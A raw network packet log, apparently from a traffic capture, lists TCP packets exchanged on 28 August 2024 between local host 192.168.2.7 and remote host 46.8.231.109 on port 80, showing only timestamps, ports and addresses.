Aug 28, 2024 22:55:06.307394028 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.307396889 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.307410002 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.307410955 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.307425976 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.307432890 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.307439089 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.307451963 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.307456017 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.307482004 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.307502985 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382275105 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382298946 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382309914 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382335901 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382358074 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382572889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382586002 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382596970 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382608891 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382626057 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382632017 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382638931 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382651091 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382658005 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382662058 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382673979 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382693052 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382711887 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382802963 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382813931 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382826090 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382838964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382848024 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382850885 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382869959 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382875919 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.382889032 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.382914066 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387150049 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387181997 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387192965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387200117 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387228012 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387248039 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387298107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387310028 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387315989 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387327909 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387350082 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387382030 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387414932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387451887 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387484074 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387495995 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387506962 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387518883 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387520075 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387546062 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387567043 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387656927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387667894 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387679100 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387691021 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387702942 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387706041 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387716055 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387725115 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387749910 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387929916 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387943029 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387953997 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387964964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387975931 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.387983084 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.387995958 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.388016939 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391510010 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391535997 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391546965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391557932 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391570091 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391590118 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391608000 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391621113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391630888 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391644955 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391673088 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391745090 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391757965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391768932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391804934 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391829014 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391829967 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391848087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391869068 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391889095 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391916037 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391932964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391940117 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391947031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391952991 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.391968966 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.391992092 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392060041 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392107964 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392127991 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392152071 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392175913 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392198086 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392214060 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392226934 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392237902 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392266035 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392291069 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392344952 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392358065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392369032 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392381907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392401934 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392427921 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392451048 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392462015 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392494917 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392573118 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392585039 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392596960 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392608881 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392615080 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392621994 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392632961 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392642975 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392644882 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392668009 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392687082 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392807007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392818928 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392831087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392843008 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392862082 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392887115 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.392950058 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392962933 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392973900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392985106 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.392997026 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393002033 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393022060 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393049002 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393073082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393085957 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393107891 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393126011 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393315077 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393326044 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393337965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393348932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393361092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393362045 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393379927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393389940 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393394947 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393403053 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393407106 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393419981 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393433094 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393441916 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393446922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393460989 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393472910 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393474102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393486977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393521070 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393651009 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393662930 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393692017 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393704891 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393723965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393735886 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393748045 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393759966 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393767118 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393771887 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393783092 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393814087 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.393959045 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393970966 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393981934 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393994093 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.393999100 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.394007921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394022942 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.394051075 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.394102097 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394114971 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394145012 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.394231081 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394243002 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394254923 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394267082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394278049 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394289017 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.394293070 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394306898 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394311905 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.394319057 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.394325972 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.394361019 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469124079 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469185114 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469235897 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469248056 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469274044 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469281912 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469283104 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469285965 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469289064 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469335079 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469428062 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469440937 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469453096 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469470024 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469497919 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469578981 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469589949 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469600916 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469613075 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469623089 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469626904 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469635963 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469640017 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469660997 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469665051 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469674110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469686031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.469702005 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469723940 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.469747066 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474071980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474083900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474108934 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474129915 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474162102 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474170923 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474184036 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474210024 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474221945 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474287033 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474301100 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474313021 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474344015 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474344015 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474361897 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474436045 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474447966 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474461079 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474473953 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474476099 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474486113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474488974 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474502087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474508047 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474535942 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474558115 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474608898 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474651098 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474663019 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474674940 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474689007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474699020 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474699974 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474713087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474728107 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474741936 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.474829912 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.474874973 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.478359938 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478396893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478409052 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478429079 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.478440046 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478461981 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.478480101 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.478493929 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478559017 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478571892 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478584051 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478594065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478601933 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.478637934 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.478702068 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478713989 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478727102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478746891 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478782892 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.478784084 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.478823900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478837013 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478880882 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.478933096 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478980064 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.478981972 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.478996038 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479034901 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479089022 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479094982 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479108095 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479120970 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479125977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479135990 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479155064 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479180098 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479203939 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479239941 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479281902 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479294062 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479305983 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479319096 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479320049 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479332924 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479338884 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479347944 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479351044 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479384899 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479509115 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479521990 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479538918 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479546070 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479551077 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479569912 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479585886 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.479644060 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.479656935 CEST	80	49702	46.8.231.109	192.168.2.7
